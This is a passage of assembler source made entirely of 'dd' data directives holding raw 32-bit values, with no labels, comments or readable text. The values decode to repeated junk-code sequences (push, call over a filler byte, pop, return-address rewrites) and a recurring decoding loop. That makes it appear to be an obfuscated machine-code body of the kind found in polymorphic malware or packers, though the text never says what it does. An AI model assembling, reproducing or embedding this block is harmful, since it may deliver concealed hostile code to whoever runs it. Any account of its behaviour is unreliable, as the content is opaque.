		dd 2C01918Dh, 6E906h, 95290000h, 62C0229h, 339D858Bh, 8D89062Ch
		dd 62C1A31h, 5607C083h,	57CDBB66h, 0C0835Fh, 10C99501h
		dd 0D03B062Ch, 17830Fh,	8C0F0000h, 6, 32B18D89h, 3DE9062Ch
		dd 89000000h, 2C24319Dh, 9D8D8B06h, 57062C18h, 835F30B7h
		dd 840F01E1h, 24h, 255DBD89h, 0A583062Ch, 62C189Dh, 0D5BD8BFEh
		dd 89062C09h, 2C339D95h, 359D8906h, 0E9062C1Eh,	0
		dd 0C86DB58Dh, 6A062Fh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0D2368FC3h, 0EF816657h, 6A4F84h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3CC35747h
		dd 99CAEF14h, 0F8D660D7h, 0FAB70F68h, 26B195FFh, 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 6E755C3h, 6F37E015h,	67B9F6E6h, 6A000007h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0CEBC350h, 9D8B4483h, 62C021Dh, 66FCE183h, 8589FA8Bh
		dd 62C2A41h, 58F0FFCh, 0BF000000h, 4C0F2531h, 0EE8h, 572D7C00h
		dd 80DD4B86h, 67427E48h, 0E9D7664Ch, 0Ah, 82598655h, 0B5C3E4CFh
		dd 2B5B7CB9h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 6009254Bh, 0B1BD89C8h, 2B062C0Bh
		dd 50006AD2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0A59DD17Ah, 3BAB119Dh, 0C233ADCEh, 0D003E8D1h
		dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0F5E252F9h, 8B5937CAh, 2C21A19Dh
		dd 880D06h, 8BF90000h, 2C2BA595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0F4B5A4BAh
		dd 0D98D8B5Fh, 56062C12h, 3810Fh, 0BF0F0000h, 8B505FD9h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 9DB50150h
		dd 5B062C1Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	55C35646h, 831D61C6h, 2C2071BDh, 840F0006h, 0ABh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A2C35646h
		dd 33898D89h, 0B8062Ch,	0E9000000h, 14h, 9B9378A9h, 3FC7F88Bh
		dd 2003879Bh, 7C6D101Bh, 0A828AFD1h, 4F518D8Dh,	6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 9B9378C3h, 3FC7F88Bh, 303879Bh, 2C2319BDh, 118D8906h
		dd 0FF062C15h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 6EC7F1B8h, 6E85Dh, 0D5D0000h
		dd 32AF7B82h, 0F899D03h, 835B062Ch, 2C29C1BDh, 840F0006h
		dd 488h, 48A0Fh, 0BF660000h, 0BD8316B4h, 62C29C1h, 8C840F01h
		dd 0BB000004h, 5107FA60h, 29C1BD83h, 0F03062Ch,	44486h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F8412CBh, 489h,	0A5BF6600h, 6A60E5h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 18682EC3h, 0ED14AAA5h, 30F9BD8Bh, 8C66062Ch,	57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0F848FAC6h, 0B585891Ah, 66062C23h, 80F266BBh, 0BD0304E1h
		dd 62C29B5h, 840FC90Ah,	13Eh, 7E8h, 894E0F00h, 0D57CA95h
		dd 7E8h, 0A143AF00h, 14FB1B59h,	2B3D8D29h, 5B5F062Ch, 1DF1858Bh
		dd 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 2FE842C3h, 61BD8B08h, 33062C19h, 2C0B3185h
		dd 61BD8B06h, 8B062C23h, 2C2BF99Dh, 66509006h, 9070A0BBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8EC35242h
		dd 11551EFEh, 6A006A13h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A923C350h,	0BBCA21C4h
		dd 658D293Ch, 68062C0Ch, 50B9C0Bh, 81F98B66h, 9FF42434h
		dd 6A0514h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0EB96DDC3h, 6595FF8Fh, 89062C34h,	2C0A999Dh
		dd 20858906h, 6A062FB0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 2A90C351h, 0C9B2F402h
		dd 0D73758B9h, 1EDE9h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0D01C63D0h, 96DBE8FEh
		dd 858BA029h, 62FB018h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 91C35646h, 8B7490C3h,	2C00259Dh, 0B1E38106h
		dd 8B708127h, 2C21F5BDh, 1800C706h, 0E8000000h,	0Bh, 1B2FF190h
		dd 0FA3ED861h, 8B12A590h, 2C34859Dh, 0BF0F5F06h, 1CB58BDFh
		dd 8A062FB0h, 55858BF8h, 6A062C0Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F46FC356h
		dd 0BF66C389h, 7E9ECE2h, 1E000000h, 466B0561h, 68978F8h
		dd 858B5B56h, 62C1DF1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 94C35343h, 38527F19h,	8BF8FE9Bh, 44689FBh
		dd 0D30DEF81h, 54BF3A8Ch, 50049826h, 128F0Fh, 0DE90000h
		dd 0A0000000h, 705737D8h, 0AD54394Ch, 9F23C51h,	8B243489h
		dd 2C1249BDh, 18B5FF06h, 29062FB0h, 2C04998Dh, 4E806h
		dd 3FF0000h, 6060001Fh,	8E9h, 6A20EC00h, 0DB4D9DA9h, 61616005h
		dd 0BE9h, 0ED48A500h, 573E7FD5h, 81B1E5A1h, 448B5061h
		dd 8B530424h, 8B5FD8h, 8D0Fh, 44890000h, 8B660424h, 895058FEh
		dd 2C0591BDh, 858D5B06h, 62FB020h, 12FD8D31h, 8B50062Ch
		dd 240489DFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	0E6C35040h, 0A139F3A3h,	0FC0DDF77h, 22B99D8Bh
		dd 95FF062Ch, 62C3465h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 7EC35646h, 0C0F5E0E3h, 8E8DBh, 0EC190000h
		dd 48CC1FF6h, 840FA60Ah, 5, 2FF408BFh, 6A615F22h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 5182C355h, 0F64D264Bh, 0D682B6FEh, 8BFE8B66h, 0C185C7FEh
		dd 3062C29h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0A365C353h,	0E9D254B8h
		dd 12h,	40349AC7h, 2558671Eh, 43ED76B8h, 0ED13409Fh, 0BD83353Eh
		dd 62FB020h, 36840F00h,	89000000h, 2C33F5B5h, 719D0B06h
		dd 0E9062C13h, 40h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 57C35040h, 608DB812h,	86B8D52Ch, 0C305086h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0FC81EB80h
		dd 29C1BD83h, 0F03062Ch, 44985h, 0D88B6600h, 0B020BD83h
		dd 0F00062Fh, 43984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 733F2FD5h, 0B020B5FFh
		dd 6A062Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 5DDDB6C3h, 48C48A61h, 669EF312h, 7EDD781h
		dd 19C995FFh, 8952062Ch, 2C1BE19Dh, 0B58B5B06h,	62FB014h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 40C35343h
		dd 0F9B438B5h, 0BEFDC2F6h, 10E914h, 4CB80000h, 607F7741h
		dd 7D2C482Eh, 0F68E8DA6h, 6C7FFB9h, 10001h, 348950FCh
		dd 0EE824h, 52CC0000h, 2B24F137h, 0B0E0F81Eh, 103D61E6h
		dd 20B5FF5Bh, 6A062FB0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 21DC353h, 3800Fh, 0C7800000h
		dd 0BD95FF81h, 6A062C08h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FF7C351h, 681h, 199D2900h
		dd 8B062C0Eh, 2FB014B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 66519188h, 9E33F781h
		dd 1BD235Fh, 8B062C10h,	2C23B185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0BA9E7F75h
		dd 0FA26718h, 481h, 6DBF6600h, 0FEBF0F31h, 0C48689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 30E42EC3h, 33531708h, 858965A2h, 62C1325h, 26918D89h
		dd 958B062Ch, 62C2BA5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 8CC35646h, 65564482h,	0EF81DFFFh, 519027F2h
		dd 6A04C283h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0E693C355h, 6964A7D2h,	0CEB726AEh
		dd 8B205089h, 2C0FCDBDh, 858DF506h, 62FC564h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 93C35747h, 647E7BCh
		dd 890F4575h, 0B886h, 38BF6600h, 0BB006AF4h, 0EE9DC8Eh
		dd 1880Fh, 0FFF50000h, 2FB020B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 31C646Ch, 8A0FD4E7h
		dd 0
		dd 58995FFh, 8166062Ch,	52753FE3h, 12B18D29h, 505F062Ch
		dd 4860Fh, 0BF660000h, 3489D8C2h, 0D3815324h, 1029882h
		dd 20B5FF5Fh, 6A062FB0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66EAC352h, 50B27ABFh
		dd 0D995FF5Bh, 6A062C11h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F628C352h,	0F73543A3h
		dd 0BDB7F9E0h, 8A621CBFh, 0B5BD8329h, 62C07h, 0F840Fh
		dd 0F7800000h, 8B6650E8h, 243489FEh, 97D78166h,	20B5FF0Ch
		dd 6A062FB0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 909DC352h, 83DBA38Eh, 52032505h
		dd 1429BD33h, 0FF5B062Ch, 2C152995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B58991C5h
		dd 62C14C9h, 0B020B5FFh, 8166062Fh, 0FF6C11DFh,	2C047995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 2BBF6630h, 35BD839Bh, 2062C15h, 53840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0C60736C3h, 6A77C683h, 189858Bh, 0BF66062Ch
		dd 0C6F78Bh, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0BF56AF6Dh, 3DD55634h, 6185C75Bh
		dd 62C16h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0BE48C350h, 58E777B9h,	0F8BEAA5h
		dd 0ECE9D8BFh, 8BFFFFF2h, 2C0BA99Dh, 6AC18B06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 5A93C352h, 0E63C4590h, 0D202BB66h, 32A5858Dh, 0BD2B062Ch
		dd 62C247Dh, 0E8525090h, 12h, 1648A8EDh, 0F9E22E1Ah, 48B38B64h
		dd 0DD93BABBh, 0BF669B58h, 0F5F5193h, 5800F31h,	0BB000000h
		dd 30FAE4h, 8B50585Ah, 6A90D8h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ACC35343h,	27D7E63Eh, 2295D1A2h
		dd 9E9h, 23A9A800h, 961EA16Eh, 0BD0391F6h, 62C2A6Dh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0C63590C3h, 6850Fh, 0C3810000h, 666AEEE4h, 5CE3858Dh
		dd 6A0630h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0EBEE2FC3h, 0C3966507h, 12E97BB3h, 0EF000000h
		dd 2FC9D0BDh, 325F5423h, 15A830C4h, 4E2BB4D2h, 5C0832Dh
		dd 9E8h, 0E5106300h, 0E30F1DBAh, 0E380F543h, 0F505B3Bh
		dd 48Dh, 0FBBB6600h, 2404891Bh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 5CC35141h, 0F2B8E199h, 9D8907EDh
		dd 62C00BDh, 6ADEB70Fh,	890F6000h, 2, 8589F8B7h, 62C2335h
		dd 1D9D8B61h, 6A062C1Bh, 13E900h, 48BA0000h, 0AEB3D138h
		dd 7AAE3508h, 681188B1h, 1411BC05h, 9D95FF22h, 6A062C23h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 7954C352h, 0A0428D8Dh, 6A062Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 153A0BC3h
		dd 8CDBD8Bh, 0D1FF062Ch, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 80C35141h, 0E6052AE5h, 88B34B6Ch, 0E99D8B56h
		dd 5F062C0Fh, 9A1BD83h,	0F01062Ch, 7885h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0EABD592Bh, 9D0E8073h, 10358D01h, 26A062Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0AFC35646h, 61BC75B7h
		dd 0E990ADBBh, 14h, 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh
		dd 0BBD635A0h, 90F88B50h, 8995FFFCh, 29062C05h,	2C2B8D9Dh
		dd 0DD2E906h, 0E80000h,	5D000000h, 5CEDED81h, 6A0630h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0ABCE80C3h, 0E1B7EB3Eh, 0F781662Eh, 858DBA22h, 62F9AD3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 80C35141h
		dd 0D4936355h, 9509E999h, 62C0EEDh, 0D8E0F90h, 60000000h
		dd 310F5250h, 0D6B8585Ah, 6148F7A7h, 0EDB79050h, 10E9h
		dd 0DAE0C200h, 0DE476F9Eh, 9A925069h, 843FEA11h, 35FF64D4h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 78C35343h
		dd 8964E010h, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6985FFD1h, 1062C1Ah, 2C1899BDh
		dd 6AFF6A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 2A19C351h, 0EC67E781h,	0B5FF525Dh
		dd 62C2B41h, 13E8FC60h,	10000000h, 10B9956h, 0A09C1293h
		dd 8E9DF08Ch, 5E50E546h, 0FE8B766Eh, 95FF615Bh,	62C04C5h
		dd 18CE9h, 11E800h, 0DCB50000h,	14D6E4F4h, 0C6054A49h
		dd 30697E11h, 0F83A7C7h, 285h, 5F616000h, 14E9h, 0F2645A00h
		dd 0CEEDE3E1h, 947854EEh, 0A2C87B75h, 6B3C95Ch,	8900B069h
		dd 2C0C8D8Dh, 8B70E606h, 2C0F59BDh, 8171E406h, 680324EFh
		dd 0F613C71h, 13483h, 618D8900h, 0F062C1Eh, 800FC8B6h
		dd 1Ah,	14E8h, 69E90700h, 0BCF0F39h, 834F152Fh,	0B2490C19h
		dd 6F9DC34Ch, 6BA5F8Ch,	0E9000000h, 14h, 72997FA6h, 47C36ED5h
		dd 0E2C11ED2h, 0F3E0B1C2h, 1D96A7E4h, 6057C18Bh, 0FE9h
		dd 2960B000h, 3EEBD71Ah, 1E35782Bh, 0B0A9C742h,	164D8529h
		dd 5F61062Ch, 0F04E8C1h, 8Dh, 0E2F76600h, 0BA666056h, 5F61B39Fh
		dd 0BD5BD89h, 0C82B062Ch, 7E9h,	73AF2200h, 0EA93D9B7h
		dd 0B589D18Bh, 62C1F79h, 1DD19D8Bh, 8E9062Ch, 52000000h
		dd 0FD19589h, 8B5F062Ch, 2C060585h, 0C083F806h,	47CF8007h
		dd 0B300C083h, 0FD03B9Ch, 2D83h, 14E900h, 0E92F0000h, 0C85C1381h
		dd 275809CDh, 90C004DDh, 0D3E35F8Bh, 0DF8B124Ch, 50E9h
		dd 8E900h, 0A3EF0000h, 0C9BF274Ah, 8D8B190Ch, 62C12E9h
		dd 0F01E183h, 3484h, 11E900h, 4B890000h, 0F5E0E37Eh, 60EDBC0h
		dd 35DCC45Eh, 8359EC6Ah, 2C12E9A5h, 0BD33FE06h,	62C29C5h
		dd 6059589h, 0BD29062Ch, 62C1BE9h, 0E9h, 95B58D00h, 0BF062FD1h
		dd 3AD44DFBh, 5E8006Ah,	5000000h, 5644344h, 6ADBD8Bh, 0FF5B062Ch
		dd 2C26B195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0E6437EABh, 8FBABF42h, 0F5BD8B77h
		dd 0B9062C2Ch, 0F4Eh, 2850Fh, 0FE8B0000h, 8BFCE183h, 8166FCDFh
		dd 2B8868D7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BE8D9C4h, 97000000h, 5595C29Eh
		dd 10015A6h, 0BF66F1BAh, 665F2D85h, 2BDFBFBFh, 57006AD2h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 3C4C85D1h, 10E9BFh, 74120000h, 6F84B8F3h, 0CC5B254Dh
		dd 0B2641AC4h, 33AD1659h, 3E8D1C2h, 4E983D0h, 8B66F475h
		dd 51006AFBh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0B75A66D9h, 880D1Eh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D03A5CC3h
		dd 0F6F1994Ch, 8BCCBC4Ah, 2C2BA595h, 8D8B6006h,	62C3355h
		dd 20F58D89h, 8B61062Ch, 2C12D98Dh, 19D8B06h, 50062C10h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0AB80F677h, 0E38166D8h, 9D8B5E16h, 62C2C6Dh,	2071BD83h
		dd 0F00062Ch, 4684h, 8E800h, 2C120000h,	383432EFh, 9531C69Dh
		dd 62C1DFDh, 0B85Fh, 0BB660000h, 8D8DF4ACh, 62C4F51h, 6AE1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 87DA5BC3h, 831AFAE8h, 2C29C1BDh, 840F0006h, 410h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h, 79A96E5Bh
		dd 0BB2A2BE0h, 2318AAA2h, 29C1BD83h, 0F01062Ch,	3F684h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0D5898E96h, 31BD33F3h, 83062C10h, 2C29C1BDh
		dd 860F0306h, 38Dh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 2CC35141h, 6032C424h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 4BC35343h, 2495CB1Fh
		dd 9D8B318Fh, 62C0815h,	21C1BD8Bh, 8C66062Ch, 0CD9D8BD9h
		dd 80062C30h, 13E804E1h, 39000000h, 66A23A66h, 3790FC5Dh
		dd 7FFB549Fh, 8E65AFC4h, 0E381251Eh, 6FCF803Bh,	0FC90A5Fh
		dd 13484h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0A728CBAh, 0FDCACF8h, 68Eh, 0DDBD8B00h
		dd 0E9062C1Bh, 0Eh, 7DF31FAh, 0F3969E9h, 152F0BCFh, 858B834Fh
		dd 62C1DF1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0FEC35545h, 0B318533h, 6A062Ch,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A689D1C3h
		dd 0BE95E11h, 60000000h, 3F4F01AFh, 904B9B53h, 60901FECh
		dd 0BB5A5760h, 3A613EF8h, 0F78B6661h, 0D1BF5061h, 905E60E5h
		dd 0FE9h, 0DD8AA000h, 3CA572C9h, 32823AC6h, 40AF39C9h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0CB8191C3h, 5127082Bh, 67214468h,	81FA8A4Ah
		dd 22BB2434h, 85894A78h, 62C0BB9h, 346595FFh, 0F4BF062Ch
		dd 89232802h, 2FB02085h, 19958906h, 0E9062C11h,	194h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0BDC35040h, 18858B4Eh
		dd 0F062FB0h, 0C7F9B7h,	18h, 8BD9BF0Fh,	2FB01CB5h, 10E906h
		dd 5F350000h, 19C4E16Dh, 0C77E474Fh, 5A8A3715h,	858B4C01h
		dd 62C0C55h, 11159589h,	689062Ch, 0CE9BD33h, 858B062Ch
		dd 62C1DF1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0D5C35646h, 9E8h, 0E5F04400h, 0EF71325Ah, 81668321h
		dd 5BE40DC7h, 0C7F3F381h, 85893A98h, 62C2D49h, 8B044689h
		dd 2C0ED99Dh, 5F525006h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 9A48C357h
		dd 60B1B6DFh, 229858Bh,	852B062Ch, 62C2199h, 18B5FF61h
		dd 0E8062FB0h, 4, 1F03FFh, 5150DBB7h, 8614DBFh,	448B5F44h
		dd 8B0424h, 7E960h, 933D0000h, 0D394EE0Eh, 12E8602Fh, 3D000000h
		dd 398A3474h, 8CC0B0AAh, 5EAA6790h, 1C96AC0h, 0B8665AA1h
		dd 61617BBAh, 4244489h,	0AE9h, 862C5B00h, 0AC888682h, 58735C8Ch
		dd 31658531h, 858D062Ch, 62FB020h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0AC35545h, 5F9C52Dh, 0FB182B3h
		dd 581h, 0DF816600h, 0F90BDF2h,	38Fh, 0DE8B6600h, 0F88B6650h
		dd 0A7B3F890h, 346595FFh, 8D89062Ch, 62C1001h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 3D6CDEFh, 259DB589h,	85C7062Ch, 62C29C1h, 3,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A8C35242h, 8373AE0Ch
		dd 2FB020BDh
		dd 840F0006h, 5, 1BE9h,	0C305000h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 31C35343h, 8A321DCFh,	8B574FF7h, 6A5FF8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0C6C5F8C3h, 89E431D1h, 2C2A498Dh, 6870F06h, 33000000h
		dd 2C04FDBDh, 0C1BD8306h, 3062C29h, 412850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7A8B2C3h, 0B5F0F4D8h, 893F8968h, 2C2D15BDh, 20BD8306h
		dd 62FB0h, 3DA840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 4A5836C3h, 9BBF66CEh
		dd 20B5FF45h, 6A062FB0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0BE99C351h,	0E0C22B18h
		dd 476F9EDAh, 70F4BF66h, 19C995FFh, 9D8B062Ch, 62C0E35h
		dd 0B014B58Bh, 6A062Fh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 87BF85C3h, 0D38142F7h, 53EC4663h
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 365F38C3h, 0BA5731E2h, 1FB99D2Bh
		dd 6650062Ch, 3489FB8Bh, 6791BF24h, 0B5FF45BDh,	62FB020h
		dd 244DBD8Bh, 870F062Ch, 8, 0C59D0357h,	5F062C0Eh, 8BD95FFh
		dd 6A062Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0AB4B3C3h, 8B76CB6Ah, 2C11E5BDh, 14B58B06h
		dd 6A062FB0h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9926C357h, 92881C7Bh, 0D49D6662h
		dd 8BD88B66h, 2C23B185h, 6830F06h, 31000000h, 2C217DB5h
		dd 0C4868906h, 0F8000000h, 2BA5958Bh, 0BD23062Ch, 62C1F9Dh
		dd 8B04C283h, 205089FAh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0DCC35646h, 2BD66547h, 9D8B5D10h, 62C08B1h
		dd 8D5BF951h, 2FC56485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 6C82A419h, 0F93C4667h
		dd 0C5BD8BF9h, 89062C1Ah, 0B886h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 4FB07F47h
		dd 66019E74h, 6AF98Bh, 6207A5BBh, 20B5FF13h, 0E9062FB0h
		dd 0Fh,	0AA73342Bh, 8133C872h, 3C47FD35h, 0FFB68668h, 2C058995h
		dd 0F98B5306h, 830F965Fh, 6, 575B5160h,	6650615Ah, 96D9EBBBh
		dd 70C78166h, 20B5FF89h, 6A062FB0h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 345C350h
		dd 90BBEB81h, 95FF5DF4h, 62C11D9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 27C35646h, 1B71863Dh, 830FB753h
		dd 3, 0F5FA8B66h, 7B5BD83h, 0F00062Ch, 4284h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 994E9F11h, 502EB796h, 14E9h,	0DE952500h, 0D7F9076Fh
		dd 43A69B40h, 6892DE0Eh, 1C77B88Ch, 816696E4h, 0FF5669EBh
		dd 2FB020B5h, 0E5BD3106h, 0FF062C30h, 2C152995h, 318D8906h
		dd 0FF062C10h, 2FB020B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FF3B8546h
		dd 2C047995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 41789750h, 6522F0EBh, 0BE9C3h, 6F50000h
		dd 6BCDA2CBh, 0C29A6D4Eh, 35BD83B9h, 2062C15h, 6E840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0BE151CC3h, 810F4BFCh, 6,	22CD8D89h, 0B589062Ch
		dd 62C1A11h, 0C850Fh, 8C0F0000h, 6, 749BD89h, 858B062Ch
		dd 62C0189h, 99EE780h, 2C0C5985h, 0C606h, 1971BD01h, 820F062Ch
